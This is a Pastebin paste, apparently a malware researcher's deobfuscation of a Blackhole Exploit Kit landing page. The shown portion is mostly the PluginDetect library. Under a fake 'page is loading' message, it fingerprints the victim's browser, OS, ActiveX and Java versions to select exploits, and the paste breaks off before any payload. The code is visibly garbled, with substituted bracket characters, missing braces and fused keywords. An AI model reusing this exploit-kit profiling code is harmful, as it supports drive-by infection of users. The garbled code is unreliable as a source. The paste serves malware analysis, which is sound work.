Advertisement
unixfreaxjp

Slight changes in shellcode BHEK deobfs

Sep 15th, 2012
116
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');
  2. function end_redirect(){
  3. try {
  4. var PluginDetect = {
  5. version : "0.7.8", name : "PluginDetect", handler : function (c, b, a){
  6. return function (){
  7. c(b, a)
  8. , isDefined : function (b){
  9. return typeof b != "undefined"
  10. , isArray : function (b){
  11. return (/array/i).test(Object.prototype.toString.call(b))
  12. , isFunc : function (b){
  13. return typeof b == "function"
  14. , isString : function (b){
  15. return typeof b == "string"
  16. , isNum : function (b){
  17. return typeof b == "number"
  18. , isStrNum : function (b){
  19. return (typeof b == "string" && (/\d/).test(b))
  20. , getNumRegx :/ 「 \ d」「 \ d \ . \ _ ,- 」 */, splitNumRegx :/ 「 \ . \ _ ,- 」 / g,
  21. getNum : function (b, c){
  22. var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  23. exec(b) : null;
  24. return a ? a「0」 : null
  25. , compareNums : function (h, f, d){
  26. var e = this , c, b, a, g = parseInt;
  27. if (e.isStrNum(h) && e.isStrNum(f)){
  28. if (e.isDefined(d) && d.compareNums){
  29. return d.compareNums(h, f)
  30. c = h.split(e.splitNumRegx);
  31. b = f.split(e.splitNumRegx);
  32. for (a = 0; a < Math.min(c.length, b.length);
  33. a ++ ){
  34. if (g(c「a」, 10) > g(b「a」, 10)){
  35. return 1
  36. if (g(c「a」, 10) < g(b「a」, 10)){
  37. return - 1
  38. return 0
  39. , formatNum : function (b, c){
  40. var d = this , a, e;
  41. if (!d.isStrNum(b)){
  42. return null
  43. if (!d.isNum(c)){
  44. c = 4
  45. c--;
  46. e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(「"0", "0", "0", "0"」);
  47. for (a = 0; a < 4; a ++ ){
  48. if (/^(0+)(.+)$/.test(e「a」)){
  49. e「a」 = RegExp.$2
  50. if (a > c ||! (/\d/).test(e「a」)){
  51. e「a」 = "0"
  52. return e.slice(0, 4).join(",")
  53. , $$hasMimeType : function (a){
  54. return function (c){
  55. if (!a.isIE && c){
  56. var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? 「c」 : 「」);
  57. for (b = 0; b < d.length; b ++ ){
  58. if (a.isString(d「b」) &&/ 「 ^\ s」 / .test(d「b」)){
  59. f = navigator.mimeTypes「d「b」」;
  60. e = f ? f.enabledPlugin : 0;
  61. if (e && (e.name || e.description)){
  62. return f
  63. return null
  64. , findNavPlugin : function (l, e, c){
  65. var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  66. new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  67. for (f = 0; f < a.length; f ++ ){
  68. m = a「f」.description || g;
  69. b = a「f」.name || g;
  70. if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  71. test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
  72. if (!k ||! (k.test(m) || k.test(b))){
  73. return a「f」
  74. return null
  75. , getMimeEnabledPlugin : function (k, m, c){
  76. var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a,
  77. l, d, j = e.isString(k) ? 「k」 : k;
  78. for (d = 0; d < j.length; d ++ ){
  79. if ((f = e.hasMimeType(j「d」)) && (f = f.enabledPlugin)){
  80. l = f.description || h;
  81. a = f.name || h;
  82. if (b.test(l) || b.test(a)){
  83. if (!g ||! (g.test(l) || g.test(a))){
  84. return f
  85. return 0
  86. , getPluginFileVersion : function (f, b){
  87. var h = this , e, d, g, a, c =- 1;
  88. if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
  89. return b
  90. if (!b){
  91. return e
  92. e = h.formatNum(e);
  93. b = h.formatNum(b);
  94. d = b.split(h.splitNumRegx);
  95. g = e.split(h.splitNumRegx);
  96. for (a = 0; a < d.length; a ++ ){
  97. if (c >- 1 && a > c && d「a」 != "0"){
  98. return b
  99. if (g「a」 != d「a」){
  100. if (c ==- 1){
  101. c = a
  102. if (d「a」 != "0"){
  103. return b
  104. return e
  105. , AXO : window.ActiveXObject, getAXO : function (a){
  106. var f = null, d, b = this , c = {
  107. ;
  108. try {
  109. f = new b.AXO(a)
  110. catch (d){
  111. return f
  112. , convertFuncs : function (f){
  113. var a, g, d, b =/^ 「 \ $」「 \ $」 /, c = this ;
  114. for (ain f){
  115. if (b.test(a)){
  116. try {
  117. g = a.slice(2);
  118. if (g.length > 0 &&! f「g」){
  119. f「g」 = f「a」(f);
  120. deletef「a」
  121. catch (d){
  122. , initObj : function (e, b, d){
  123. var a, c;
  124. if (e){
  125. if (e「b「0」」 == 1 || d){
  126. for (a = 0; a < b.length; a = a + 2){
  127. e「b「a」」 = b「a + 1」
  128. for (ain e){
  129. c = e「a」;
  130. if (c && c「b「0」」 == 1){
  131. this .initObj(c, b)
  132. , initScript : function (){
  133. var c = this , a = navigator, e = "/", f, i = a.userAgent || "", g = a.vendor || "",
  134. b = a.platform || "", h = a.product || "";
  135. c.initObj(c, 「"$", c」);
  136. for (fin c.Plugins){
  137. if (c.Plugins「f」){
  138. c.initObj(c.Plugins「f」, 「"$", c, "$$", c.Plugins「f」」, 1)
  139. ;
  140. c.OS = 100;
  141. if (b){
  142. var d = 「"Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod",
  143. 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, ""
  144. , 100」;
  145. for (f = d.length - 2; f >= 0; f = f - 2){
  146. if (d「f」 && new RegExp(d「f」, "i").test(b)){
  147. c.OS = d「f + 1」;
  148. break
  149. c.convertFuncs(c);
  150. c.head = (document.getElementsByTagName("head")「0」 || document.getElementsByTagName(
  151. "body")「0」 || document.body || null);
  152. c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
  153. c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) :
  154. null ;
  155. c.ActiveXEnabled = false;
  156. if (c.isIE){
  157. var f, j = 「"Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  158. "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  159. "Scripting.Dictionary", "wmplayer.ocx"」;
  160. for (f = 0; f < j.length; f ++ ){
  161. if (c.getAXO(j「f」)){
  162. c.ActiveXEnabled = true;
  163. break
  164. c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
  165. c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*(「\.\,\d」+)/i).test(i) ? RegExp.$1 :
  166. "0.9") : null;
  167. c.isChrome = (/Chrome\s*\/\s*(\d「\d\.」*)/i).test(i);
  168. c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  169. c.isSafari = ((/Apple/i).test(g) || (!g &&! c.isChrome)) && (
  170. /Safari\s*\/\s*(\d「\d\.」*)/i).test(i);
  171. c.verSafari = c.isSafari && (/Version\s*\/\s*(\d「\d\.」*)/i).test(i) ? c.formatNum(
  172. RegExp.$1) : null;
  173. c.isOpera = (/Opera\s*「\/」?\s*(\d+\.?\d*)/i).test(i);
  174. c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ?
  175. parseFloat(RegExp.$1, 10) : null;
  176. c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  177. , init : function (d){
  178. var c = this , b, d, a = {
  179. status :- 3, plugin : 0
  180. ;
  181. if (!c.isString(d)){
  182. return a
  183. if (d.length == 1){
  184. c.getVersionDelimiter = d;
  185. return a
  186. d = d.toLowerCase().replace(/\s/g, "");
  187. b = c.Plugins「d」;
  188. if (!b ||! b.getVersion){
  189. return a
  190. a.plugin = b;
  191. if (!c.isDefined(b.installed)){
  192. b.installed = null;
  193. b.version = null;
  194. b.version0 = null;
  195. b.getVersionDone = null;
  196. b.pluginName = d
  197. c.garbage = false;
  198. if (c.isIE &&! c.ActiveXEnabled && d !== "java"){
  199. a.status =- 2;
  200. return a
  201. a.status = 1;
  202. return a
  203. , fPush : function (b, a){
  204. var c = this ;
  205. if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b「0
  206. 」)))){
  207. a.push(b)
  208. , callArray : function (b){
  209. var c = this , a;
  210. if (c.isArray(b)){
  211. for (a = 0; a < b.length; a ++ ){
  212. if (b「a」 === null){
  213. return
  214. c.call(b「a」);
  215. b「a」 = null
  216. , call : function (c){
  217. var b = this , a = b.isArray(c) ? c.length :- 1;
  218. if (a > 0 && b.isFunc(c「0」)){
  219. c「0」(b, a > 1 ? c「1」 : 0, a > 2 ? c「2」 : 0, a > 3 ? c「3」 : 0)
  220. else {
  221. if (b.isFunc(c)){
  222. c(b)
  223. , getVersionDelimiter : ",", $$getVersion : function (a){
  224. return function (g, d, c){
  225. var e = a.init(g), f, b, h = {
  226. ;
  227. if (e.status < 0){
  228. return null
  229. ;
  230. f = e.plugin;
  231. if (f.getVersionDone != 1){
  232. f.getVersion(null, d, c);
  233. if (f.getVersionDone === null){
  234. f.getVersionDone = 1
  235. a.cleanup();
  236. b = (f.version || f.version0);
  237. b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  238. return b
  239. , cleanup : function (){
  240. var a = this ;
  241. if (a.garbage && a.isDefined(window.CollectGarbage)){
  242. window.CollectGarbage()
  243. , addWinEvent : function (d, c){
  244. var e = this , a = window, b;
  245. if (e.isFunc(c)){
  246. if (a.addEventListener){
  247. a.addEventListener(d, c, false)
  248. else {
  249. if (a.attachEvent){
  250. a.attachEvent("on" + d, c)
  251. else {
  252. b = a「"on" + d」;
  253. a「"on" + d」 = e.winHandler(c, b)
  254. , winHandler : function (d, c){
  255. return function (){
  256. d();
  257. if (typeof c == "function"){
  258. c()
  259. , WLfuncs0 : 「」, WLfuncs : 「」, runWLfuncs : function (a){
  260. var b = {
  261. ;
  262. a.winLoaded = true;
  263. a.callArray(a.WLfuncs0);
  264. a.callArray(a.WLfuncs);
  265. if (a.onDoneEmptyDiv){
  266. a.onDoneEmptyDiv()
  267. , winLoaded : false, $$onWindowLoaded : function (a){
  268. return function (b){
  269. if (a.winLoaded){
  270. a.call(b)
  271. else {
  272. a.fPush(b, a.WLfuncs)
  273. , $$onDetectionDone : function (a){
  274. return function (h, g, c, b){
  275. var d = a.init(h), k, e, j = {
  276. ;
  277. if (d.status ==- 3){
  278. return - 1
  279. e = d.plugin;
  280. if (!a.isArray(e.funcs)){
  281. e.funcs = 「」
  282. if (e.getVersionDone != 1){
  283. k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  284. if (e.installed !=- 0.5 && e.installed != 0.5){
  285. a.call(g);
  286. return 1
  287. if (e.NOTF){
  288. a.fPush(g, e.funcs);
  289. return 0
  290. return 1
  291. , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv :
  292. function (){
  293. var d = this , b, h, c, a, f, g;
  294. if (d.div && d.div.childNodes){
  295. for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
  296. c = d.div.childNodes「b」;
  297. if (c && c.childNodes){
  298. for (h = c.childNodes.length - 1; h >= 0; h -- ){
  299. g = c.childNodes「h」;
  300. try {
  301. c.removeChild(g)
  302. catch (f){
  303. if (c){
  304. try {
  305. d.div.removeChild(c)
  306. catch (f){
  307. if (!d.div){
  308. a = document.getElementById(d.divID);
  309. if (a){
  310. d.div = a
  311. if (d.div && d.div.parentNode){
  312. try {
  313. d.div.parentNode.removeChild(d.div)
  314. catch (f){
  315. d.div = null
  316. , DONEfuncs : 「」, onDoneEmptyDiv : function (){
  317. var c = this , a, b;
  318. if (!c.winLoaded){
  319. return
  320. if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs「c.WLfuncs.length - 1」 !== null){
  321. return
  322. for (ain c){
  323. b = c「a」;
  324. if (b && b.funcs){
  325. if (b.OTF == 3){
  326. return
  327. if (b.funcs.length && b.funcs「b.funcs.length - 1」 !== null){
  328. return
  329. for (a = 0; a < c.DONEfuncs.length; a ++ ){
  330. c.callArray(c.DONEfuncs)
  331. c.emptyDiv()
  332. , getWidth : function (c){
  333. if (c){
  334. var a = c.scrollWidth || c.offsetWidth, b = this ;
  335. if (b.isNum(a)){
  336. return a
  337. return - 1
  338. , getTagStatus : function (m, g, a, b){
  339. var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d =
  340. g.span, i = c.getWidth(d);
  341. if (!k ||! h ||! d ||! c.getDOMobj(m)){
  342. return - 2
  343. if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1){
  344. return 0
  345. if (l >= i){
  346. return - 1
  347. try {
  348. if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
  349. if (!m.winLoaded && c.winLoaded){
  350. return 1
  351. if (m.winLoaded && c.isNum(b)){
  352. if (!c.isNum(m.count)){
  353. m.count = b
  354. if (b - m.count >= 10){
  355. return 1
  356. catch (f){
  357. return 0
  358. , getDOMobj : function (g, a){
  359. var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  360. try {
  361. if (b && a){
  362. d.div.focus()
  363. catch (f){
  364. return b ? c.firstChild : null
  365. , setStyle : function (b, g){
  366. var f = b.style, a, d, c = this ;
  367. if (f && g){
  368. for (a = 0; a < g.length; a = a + 2){
  369. try {
  370. f「g「a」」 = g「a + 1」
  371. catch (d){
  372. , insertDivInBody : function (a, i){
  373. var h, f = this , b = "pd33993399", d = null, j = i ? window.top.document : window.
  374. document, c = "<", g = (j.getElementsByTagName("body")「0」 || j.body);
  375. if (!g){
  376. try {
  377. j.write(c + 'div id="' + b + '">o' + c + "/div>");
  378. d = j.getElementById(b)
  379. catch (h){
  380. g = (j.getElementsByTagName("body")「0」 || j.body);
  381. if (g){
  382. if (g.firstChild && f.isDefined(g.insertBefore)){
  383. g.insertBefore(a, g.firstChild)
  384. else {
  385. g.appendChild(a)
  386. if (d){
  387. g.removeChild(d)
  388. else {
  389. , insertHTML : function (g, b, h, a, l){
  390. var m, n = document, k = this , q, p = n.createElement("span"), o, j, f = "<";
  391. var c = 「"outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  392. "0px", "visibility", "visible"」;
  393. var i =
  394. "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  395. if (!k.isDefined(a)){
  396. a = ""
  397. if (k.isString(g) && (/「^\s」/).test(g)){
  398. g = g.toLowerCase().replace(/\s/g, "");
  399. q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
  400. q += 'style="' + i + 'display:inline;" ';
  401. for (o = 0; o < b.length; o = o + 2){
  402. if (/「^\s」/.test(b「o + 1」)){
  403. q += b「o」 + '="' + b「o + 1」 + '" '
  404. q += ">";
  405. for (o = 0; o < h.length; o = o + 2){
  406. if (/「^\s」/.test(h「o + 1」)){
  407. q += f + 'param name="' + h「o」 + '" value="' + h「o + 1」 + '" />'
  408. q += a + f + "/" + g + ">"
  409. else {
  410. q = a
  411. if (!k.div){
  412. j = n.getElementById(k.divID);
  413. if (j){
  414. k.div = j
  415. else {
  416. k.div = n.createElement("div");
  417. k.div.id = k.divID
  418. k.setStyle(k.div, c.concat(「"width", k.divWidth + "px", "height", (k.pluginSize +
  419. 3) + "px", "fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3)
  420. + "px", "verticalAlign", "baseline", "display", "block"」));
  421. if (!j){
  422. k.setStyle(k.div, 「"position", "absolute", "right", "0px", "top", "0px"」);
  423. k.insertDivInBody(k.div)
  424. if (k.div && k.div.parentNode){
  425. k.setStyle(p, c.concat(「"fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.
  426. pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"」));
  427. try {
  428. p.innerHTML = q
  429. catch (m){
  430. ;
  431. try {
  432. k.div.appendChild(p)
  433. catch (m){
  434. ;
  435. return {
  436. span : p, winLoaded : k.winLoaded, tagName : g, outerHTML : q
  437. return {
  438. span : null, winLoaded : k.winLoaded, tagName : "", outerHTML : q
  439. , file : {
  440. $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d,
  441. f, c){
  442. var b = this , e = b.$, a;
  443. if (d && e.isDefined(c)){
  444. if (!d「b.any」){
  445. d「b.any」 = 「」
  446. if (!d「b.valid」){
  447. d「b.valid」 = 「」
  448. d「b.any」.push(c);
  449. a = b.split(f, c);
  450. if (a){
  451. d「b.valid」.push(a)
  452. , getValidLength : function (a){
  453. return a && a「this .valid」 ? a「this .valid」.length : 0
  454. , getAnyLength : function (a){
  455. return a && a「this .any」 ? a「this .any」.length : 0
  456. , getValid : function (c, a){
  457. var b = this ;
  458. return c && c「b.valid」 ? b.get(c「b.valid」, a) : null
  459. , getAny : function (c, a){
  460. var b = this ;
  461. return c && c「b.any」 ? b.get(c「b.any」, a) : null
  462. , get : function (d, a){
  463. var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  464. return (b < 0 || b > c) ? null : d「b」
  465. , split : function (g, c){
  466. var b = this , e = b.$, f = null, a, d;
  467. g = g ? g.replace(".", "\\.") : "";
  468. d = new RegExp("^(.*「^\\/」)(" + g + "\\s*)$");
  469. if (e.isString(c) && d.test(c)){
  470. a = (RegExp.$1).split("/");
  471. f = {
  472. name : a「a.length - 1」, ext : RegExp.$2, full : c
  473. ;
  474. a「a.length - 1」 = "";
  475. f.path = a.join("/")
  476. return f
  477. , z : 0
  478. , Plugins : {
  479. java : {
  480. mimeType : 「"application/x-java-applet", "application/x-java-vm",
  481. "application/x-java-bean"」, classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
  482. , navigator : {
  483. a : window.navigator.javaEnabled(), javaEnabled : function (){
  484. return this .a
  485. , mimeObj : 0, pluginObj : 0
  486. , OTF : null, minIEver : 7, debug : 0, debugEnable : function (){
  487. var a = this , b = a.$;
  488. a.debug = 1
  489. , isDisabled : {
  490. $ : 1, DTK : function (){
  491. var a = this , c = a.$, b = a.$$;
  492. if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.
  493. isSafari && c.OS == 1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0"
  494. ) < 0)) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
  495. return 1
  496. return 0
  497. , AXO : function (){
  498. var a = this , c = a.$, b = a.$$;
  499. return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !==
  500. 0))
  501. , navMime : function (){
  502. var b = this , d = b.$, c = b.$$, a = c.navigator;
  503. if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  504. return 1
  505. return 0
  506. , navPlugin : function (){
  507. var b = this , d = b.$, c = b.$$, a = c.navigator;
  508. if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  509. return 1
  510. return 0
  511. , windowDotJava : function (){
  512. var a = this , c = a.$, b = a.$$;
  513. if (!window.java){
  514. return 1
  515. if (c.OS == 2 && c.verOpera && c.verOpera < 9.2 && c.verOpera >= 9){
  516. return 1
  517. if (c.verGecko && c.compareNums(c.verGecko, "1,9,0,0") < 0 && c.compareNums(c.
  518. verGecko, "1,8,0,0") >= 0){
  519. return 1
  520. return 0
  521. , allApplets : function (){
  522. var b = this , d = b.$, c = b.$$, a = c.navigator;
  523. if (d.OS >= 20){
  524. return 0
  525. if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
  526. getProperty()「0」){
  527. return 1
  528. if ((d.verGecko && d.compareNums(d.verGecko, d.formatNum("2")) < 0) &&! a.
  529. mimeObj &&! c.lang.System.getProperty()「0」){
  530. return 1
  531. return 0
  532. , AppletTag : function (){
  533. var b = this , d = b.$, c = b.$$, a = c.navigator;
  534. return d.isIE ?! a.javaEnabled() : 0
  535. , ObjectTag : function (){
  536. var a = this , c = a.$, b = a.$$;
  537. return c.isIE ?! c.ActiveXEnabled : 0
  538. , z : 0
  539. , getVerifyTagsDefault : function (){
  540. var a = this , c = a.$, b = 「1, 0, 1」;
  541. if (c.OS >= 20){
  542. return b
  543. if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && c.
  544. compareNums(c.verGecko, c.formatNum("2")) < 0) || (c.isSafari && (!c.verSafari ||
  545. c.compareNums(c.verSafari, c.formatNum("4")) < 0)) || (c.verOpera && c.verOpera <
  546. 10)){
  547. b = 「1, 1, 1」
  548. return b
  549. , getVersion : function (j, g, i){
  550. var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null
  551. , l = null, c = null;
  552. if (b.getVersionDone === null){
  553. b.OTF = 0;
  554. k.mimeObj = d.hasMimeType(b.mimeType);
  555. if (k.mimeObj){
  556. k.pluginObj = k.mimeObj.enabledPlugin
  557. if (h){
  558. h.begin()
  559. a.setVerifyTagsArray(i);
  560. d.file.save(b, ".jar", g);
  561. if (b.getVersionDone === 0){
  562. if (a.should_Insert_Query_Any()){
  563. e = a.insert_Query_Any();
  564. b.setPluginStatus(e「0」, e「1」, f)
  565. return
  566. if ((!f || b.debug) && b.DTK.query().version){
  567. f = b.DTK.version
  568. if ((!f || b.debug) && b.navMime.query().version){
  569. f = b.navMime.version
  570. if ((!f || b.debug) && b.navPlugin.query().version){
  571. f = b.navPlugin.version
  572. if ((!f || b.debug) && b.AXO.query().version){
  573. f = b.AXO.version
  574. if (b.nonAppletDetectionOk(f)){
  575. c = f
  576. if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
  577. e = b.lang.System.getProperty();
  578. if (e「0」){
  579. f = e「0」;
  580. c = e「0」;
  581. l = e「1」
  582. b.setPluginStatus(c, l, f);
  583. if (a.should_Insert_Query_Any()){
  584. e = a.insert_Query_Any();
  585. if (e「0」){
  586. c = e「0」;
  587. l = e「1」
  588. b.setPluginStatus(c, l, f)
  589. , nonAppletDetectionOk : function (b){
  590. var d = this , e = d.$, a = d.navigator, c = 1;
  591. if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&!
  592. a.mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled
  593. )){
  594. c = 0
  595. else {
  596. if (e.OS >= 20){
  597. else {
  598. if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2
  599. ()){
  600. c = 0
  601. return c
  602. , setPluginStatus : function (d, f, a){
  603. var c = this , e = c.$, b;
  604. a = a || c.version0;
  605. if (c.OTF > 0){
  606. d = d || c.lang.System.getProperty()「0」
  607. if (c.OTF < 3){
  608. b = d ? 1 : (a ?- 0.2 :- 1);
  609. if (c.installed === null || b > c.installed){
  610. c.installed = b
  611. if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()「0」 &&! c.lang.System.
  612. getProperty()「0」){
  613. c.installed = a ?- 0.2 :- 1
  614. ;
  615. if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5){
  616. c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()「0」) ?
  617. 0.5 :- 0.5
  618. if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5)){
  619. if (d){
  620. c.installed = 1
  621. else {
  622. if (c.NOTF.isJavaActive(1) == 1){
  623. if (a){
  624. c.installed = 1;
  625. d = a
  626. else {
  627. c.installed = 0
  628. else {
  629. if (a){
  630. c.installed =- 0.2
  631. else {
  632. c.installed =- 1
  633. ;
  634. if (a){
  635. c.version0 = e.formatNum(e.getNum(a))
  636. if (d){
  637. c.version = e.formatNum(e.getNum(d))
  638. if (f && e.isString(f)){
  639. c.vendor = f
  640. if (!c.vendor){
  641. c.vendor = ""
  642. if (c.verify && c.verify.isEnabled()){
  643. c.getVersionDone = 0
  644. else {
  645. if (c.getVersionDone != 1){
  646. if (c.OTF < 2){
  647. c.getVersionDone = 0
  648. else {
  649. c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  650. , DTK : {
  651. $ : 1, hasRun : 0, status : null, VERSIONS : 「」, version : "", HTML : null,
  652. Plugin2Status : null, classID : 「"clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  653. "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"」, mimeType : 「
  654. "application/java-deployment-toolkit",
  655. "application/npruntime-scriptable-plugin;DeploymentToolkit"」, disabled :
  656. function (){
  657. return this .$$.isDisabled.DTK()
  658. , query : function (){
  659. var k = this , g = k.$, d = k.$$, j, l, h, m = {
  660. , f = {
  661. , a, c = null, i = null, b = (k.hasRun || k.disabled());
  662. k.hasRun = 1;
  663. if (b){
  664. return k
  665. k.status = 0;
  666. if (g.isIE && g.verIE >= 6){
  667. for (l = 0; l < k.classID.length; l ++ ){
  668. k.HTML = g.insertHTML("object", 「"classid", k.classID「l」」, 「」);
  669. c = g.getDOMobj(k.HTML);
  670. try {
  671. if (c && c.jvms){
  672. break
  673. catch (j){
  674. else {
  675. if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
  676. k.HTML = g.insertHTML("object", 「"type", h.type」, 「」);
  677. c = g.getDOMobj(k.HTML)
  678. if (c){
  679. try {
  680. a = c.jvms;
  681. if (a){
  682. i = a.getLength();
  683. if (g.isNum(i)){
  684. k.status = i > 0 ? 1 :- 1;
  685. for (l = 0; l < i; l ++ ){
  686. h = g.getNum(a.get(i - 1 - l).version);
  687. if (h){
  688. k.VERSIONS.push(h);
  689. f「"a" + g.formatNum(h)」 = 1
  690. catch (j){
  691. h = 0;
  692. for (lin f){
  693. h ++
  694. if (h && h !== k.VERSIONS.length){
  695. k.VERSIONS = 「」
  696. if (k.VERSIONS.length){
  697. k.version = g.formatNum(k.VERSIONS「0」)
  698. ;
  699. return k
  700. , AXO : {
  701. $ : 1, hasRun : 0, VERSIONS : 「」, version : "", disabled : function (){
  702. return this .$$.isDisabled.AXO()
  703. , JavaVersions : 「「1, 9, 1, 40」, 「1, 8, 1, 40」, 「1, 7, 1, 40」, 「1, 6, 0, 40」, 「1
  704. , 5, 0, 30」, 「1, 4, 2, 30」, 「1, 3, 1, 30」」, query : function (){
  705. var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
  706. a.hasRun = 1;
  707. if (c){
  708. return a
  709. var i = 「」, k = 「1, 5, 0, 14」, j = 「1, 6, 0, 2」, h = 「1, 3, 1, 0」, g = 「1, 4,
  710. 2, 0」, f = 「1, 5, 0, 7」, d = b.getInfo ? true : false, l = {
  711. ;
  712. if (e.verIE >= b.minIEver){
  713. i = a.search(j, j, d);
  714. if (i.length > 0 && d){
  715. i = a.search(k, k, d)
  716. else {
  717. if (d){
  718. i = a.search(f, f, true)
  719. if (i.length == 0){
  720. i = a.search(h, g, false)
  721. if (i.length){
  722. a.version = i「0」;
  723. a.VERSIONS = 「」.concat(i)
  724. ;
  725. return a
  726. , search : function (a, j, p){
  727. var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = 「」;
  728. if (e.compareNums(a.join(","), j.join(",")) > 0){
  729. j = a
  730. j = e.formatNum(j.join(","));
  731. var m, s = "1,4,2,0", g = "JavaPlugin." + a「0」 + "" + a「1」 + "" + a「2」 + "" +
  732. (a「3」 > 0 ? ("_" + (a「3」 < 10 ? "0" : "") + a「3」) : "");
  733. for (h = 0; h < f.JavaVersions.length; h ++ ){
  734. d = f.JavaVersions「h」;
  735. n = "JavaPlugin." + d「0」 + "" + d「1」;
  736. b = d「0」 + "." + d「1」 + ".";
  737. for (l = d「2」;
  738. l >= 0; l -- ){
  739. r = "JavaWebStart.isInstalled." + b + l + ".0";
  740. if (e.compareNums(d「0」 + "," + d「1」 + "," + l + ",0", j) >= 0 &&! e.getAXO
  741. (r)){
  742. continue
  743. m = e.compareNums(d「0」 + "," + d「1」 + "," + l + ",0", s) < 0 ? true :
  744. false ;
  745. for (q = d「3」;
  746. q >= 0; q -- ){
  747. c = l + "_" + (q < 10 ? "0" + q : q);
  748. o = n + c;
  749. if (e.getAXO(o) && (m || e.getAXO(r))){
  750. i.push(b + c);
  751. if (!p){
  752. return i
  753. if (o == g){
  754. return i
  755. if (e.getAXO(n + l) && (m || e.getAXO(r))){
  756. i.push(b + l);
  757. if (!p){
  758. return i
  759. if (n + l == g){
  760. return i
  761. return i
  762. , navMime : {
  763. $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0,
  764. pluginObj : 0, disabled : function (){
  765. return this .$$.isDisabled.navMime()
  766. , query : function (){
  767. var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
  768. i.hasRun = 1;
  769. if (b){
  770. return i
  771. ;
  772. var n =/^\ s * application \/ x - java - applet;
  773. jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  774. , c = f.formatNum("0");
  775. for (l = 0; l < navigator.mimeTypes.length; l ++ ){
  776. o = navigator.mimeTypes「l」;
  777. m = o ? o.enabledPlugin : 0;
  778. g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  779. if (g && m && (m.description || m.name)){
  780. if (!k「h + g」){
  781. i.length ++
  782. k「h + g」 = o.type;
  783. if (f.compareNums(g, c) > 0){
  784. c = g
  785. g = k「h + c」;
  786. if (g){
  787. o = f.hasMimeType(g);
  788. i.mimeObj = o;
